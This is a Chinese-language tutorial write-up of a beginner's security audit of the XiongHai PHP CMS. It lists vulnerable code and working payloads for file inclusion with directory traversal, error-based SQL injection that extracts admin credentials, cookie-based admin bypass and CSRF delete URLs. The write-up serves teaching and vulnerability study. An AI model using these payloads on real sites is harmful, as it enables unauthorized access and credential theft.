一、前言
简单了解了一下,审计入门,熊海比较适合,因为是简单的cms,适合入门。
二、审计环境
使用小皮面板,新建网站
三、审计过程
先了解文件目录
admin --管理后台文件夹
css --存放css的文件夹
files --存放页面的文件夹
images --存放图片的文件夹
inc --存放网站配置文件的文件夹
install --网站进行安装的文件夹
seacmseditor --编辑器文件夹
template --模板文件夹
upload --上传功能文件夹
index.php --网站首页
先把网站源码放到seay里面,自动审计一下。
可以看到,可疑漏洞挺多的,然后对比着代码进行一一核实
文件包含漏洞
**index.php**
GET传值r,用函数addslashes
转义我们传入的值,防止命令执行,但是这显然是不够的,这里对文件包含漏洞是没有用任何限制的。
这里可以直接包含到files
文件夹下的文件,但是也可以通过目录穿越,包含到根目录。
我们在files
文件夹下新建一个phpinfo.php
payload:
?r=phpinfo //包含files文件夹下的phpinfo()
?r=../phpinfo //包含根目录的phpinfo()
第二处 /admin/index.php
也是同理 同样的代码,同样的包含。
【所有资源,点击查看】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
SQL注入漏洞
SQL注入一般存在于登录框这里,我们直接看后台登陆框的源码**admin/files/login.php**
后台注入
""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "";
exit;
}
?>
大致看了看代码:
user和password接受我们POST传值,没有任何过滤,直接插入到查询语句中。先在数据库中查询user是否存在,如果不存在就报错,而且mysql_error()
是开着的,可以报错注入,如果user存在的话就对我们的传入的password进行md5散列和数据库中的password进行比较,如果相等,则登陆成功。
经过一番分析,存在报错注入,万能密码无法登录,因为对password进行md5散列,与数据库中进行对比。
漏洞复现:
正常的报错注入
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
确实存在
将两段得到的MD5的值拼起来进行MD5
爆破即可得出password明文,之后查询user
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #
即可进行登录。
然后我们查看别处
**/admin/files/softlist**
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM download WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "";
exit;
}
依旧是开了mysql_error()
且无过滤,注入同上
**/admin/files/editlink.php**
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);
类型同上,不再赘述。
发现,好像这个cms涉及sql的均未过滤且可进行报错注入。这可能就是这个cms适合审计小白的原因了吧
以为这个cms的SQL注入到此结束了,后来看了大佬的资料,发现还有两处特别之处,值得一提(对于审计小白)。
**/files/software.php**
前台注入
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$download = mysql_fetch_array($resul);
这里面引用了函数addslashes
进行过滤
关于addslashes
函数addslashes()作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符是单引号(')双引号(")反斜杠(\)NULL。
在官网中有这样的注释
默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
因为这里被GET传值就已经默认运行addslashes()
,所以再次使用addslashes()
就不起作用了,所以依旧还是可以进行报错注入。
payload:
?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
** /install/index.php **
安装流程存在SQL注入 ,代码如下
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "管理信息已经成功写入!
";
没有过滤,mysql_error()
开着,依旧可以考虑报错注入。
参阅大佬的文章
首先要对InstallLock.txt
文件锁进行删除
重新安装的时候在user处报错注入
payload;
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
这个cms的SQL注入就到此结束了
XSS漏洞
反射型XSS
**/files/contact.php**
$page=addslashes($_GET['page']); //59行
//139行
payload:
当然还有许多的反射型XSS,这里就不一一列举了,根上面这个,基本大差不差。
存储型XSS
**/admin/files/manageinfo.php**
$save=$_POST['save'];
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
if ($save==1){
if ($user==""){
echo "";
exit;
}
if ($name==""){
echo "";
exit;
}
if ($password<>$password2){
echo "";
exit;
}
//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
$tmp = new FileUpload_Single;
$upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
$tmp -> accessPath =$upload;
if ( $tmp -> TODO() )
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
$imgsms="及图片";
}
}
}
if ($filename<>""){
$images="img='$filename',";
}
if ($password<>""){
$password=md5($password);
$password="password='$password',";
}
$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "";
exit;
}
?>
POST传参,但是无任何过滤,直接根数据库进行交互,存在存储型XSS
payload:
垂直越权
**inc/checklogin.php**
中
如果COOKIE中user为空,跳转到登陆窗。这种就是最简单的垂直越权。
我们访问http://www.xionghai.com/admin/index.php抓包查看,这种情况,COOKIE中无user参数
当我们修改COOKIE值后
越权就成功了,我们就可以访问管理页面了。
CSRF漏洞
举例
/admin/files/wzlist.php
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "";
exit;
可以看见是没有任何验证的
然后我们进行一下delete操作
然后抓包看一下
其payload
www.xionghai.com/admin/?r=wzlist&delete=18
然后我们换个浏览器,来访问这个payload,并且抓包,在Cookie处,添加user的值为admin
可以发现CSRF攻击成功
**admin/files/softlist.php**
依旧存在CSRF,做法同上。
四、总结
到此,这个cms的审计就差不多结束了。总的来看,因为这个cms是个人开发的,并且很长时间没有更新过,审计过程中,基本上所有的漏洞都没有过滤。这也许就是它适合我这种小白的原因吧。